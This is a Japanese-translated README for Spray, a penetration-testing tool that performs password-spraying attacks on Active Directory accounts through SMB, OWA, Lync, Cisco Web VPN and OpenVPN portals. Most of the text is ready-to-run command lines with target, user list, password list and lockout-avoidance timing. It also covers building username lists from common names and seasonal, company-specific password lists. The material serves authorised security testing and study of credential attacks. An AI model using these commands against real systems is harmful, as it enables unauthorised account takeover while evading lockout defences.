
Jacob Wilkin(Greenwolf)によるActive Directory認証情報のパスワードスプレーツール
Jacob Wilkin(Greenwolf)によるActive Directory資格情報向けのパスワードスプレーイングツール
この手順では、Sprayの要件と使用方法を説明します。
すべての要件はKali Linuxにプリインストールされています。他のフレーバー(macOSを含む)で実行するには、curl(owa/lync/cisco/ovpnモード)とrpcclient(smbモード)が必要です。 macOSでは、rpcclientはsamba formulaによって提供されます: "brew install samba" Debian/Kaliでは、samba-common-binに含まれています: "sudo apt-get install -y samba-common-bin"
また、SprayにOSの依存関係を自動的にインストールおよびチェックさせることもできます:
spray.sh --install
rpcclient
curl
このスクリプトは、一定期間にわたって対象に対してパスワードスプレーを実行します アカウントがロックアウトされないよう、入力としてパスワードポリシーが必要です
このスクリプトには、複数言語向けに手作業で作成された一連のパスワードファイルが付属しています。これらは様々な言語で最も一般的な Active Directory パスワードから作成されており、すべて複雑性カテゴリ(大文字1、小文字1、数字1)に適合します。
SMB ポータルに対してパスワードスプレーを実行するには、ユーザーリスト、パスワードリスト、ロックアウト期間ごとの試行回数、ロックアウト期間の長さ、およびドメインを指定する必要があります
Useage: spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
Example: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS
Optionally Skip Username%Username Spray: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS skipuu
OWA ポータルに対してパスワードスプレーを行うには、ユーザー名 [email protected]、パスワード spraypassword を含む POST リクエストのファイルを作成する必要があります。
Useage: spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <RequestsFile>
Example: spray.sh -owa 192.168.0.1 users.txt passwords.txt 1 35 post-request.txt
Lync サービスに対してパスワードスプレーを実行するには、Lync の自動検出 URL、または www-authenticate ヘッダーを返す URL を、メールアドレスのリストとともに指定する必要があります
Useage: spray.sh -lync <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>
Example: spray.sh -lync https://lyncdiscover.spiderlabs.com/ users.txt passwords.txt 1 35
Example: spray.sh -lync https://lyncweb.spiderlabs.com/Autodiscover/AutodiscoverService.svc/root/oauth/user users.txt passwords.txt 1 35
CISCO Web VPN サービスに対してパスワードスプレー攻撃を行うには、ポータルをホストするターゲットポータルまたはサーバーを指定する必要があります
Useage: spray.sh -cisco <targetURL> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>
Example: spray.sh -cisco 192.168.0.1 usernames.txt passwords.txt 1 35
OpenVPN Web ポータルに対してパスワードスプレー攻撃を行うには、ターゲットの IP アドレスとポートを指定する必要があります
Useage: spray.sh -ovpn <targetIP> <targetPort> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>
Example: spray.sh -ovpn 192.168.0.1 943 usernames.txt passwords.txt 1 35
提供されている 2016/2017 のパスワードリストを現在の年に更新することも可能です
Useage: spray.sh -passupdate <passwordList>
Example: spray.sh -passupdate passwords.txt
リストに追加するための会社名も任意で指定できます
Useage: spray.sh -passupdate <passwordList> <CompanyName>
Example: spray.sh -passupdate passwords.txt Spiderlabs
一般的な名前のリストからユーザー名リストを生成することもできます
Useage: spray.sh -genusers <firstnames> <lastnames> "<<fi><li><fn><ln>>"
Example: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fi><ln>"
Example: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fn>.<ln>"
このツールがお役に立ったなら、コーヒーをご馳走する形で感謝の気持ちを表していただけると嬉しいです :)
Spray Created by Jacob Wilkin Copyright (C) 2017 Trustwave Holdings, Inc.
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.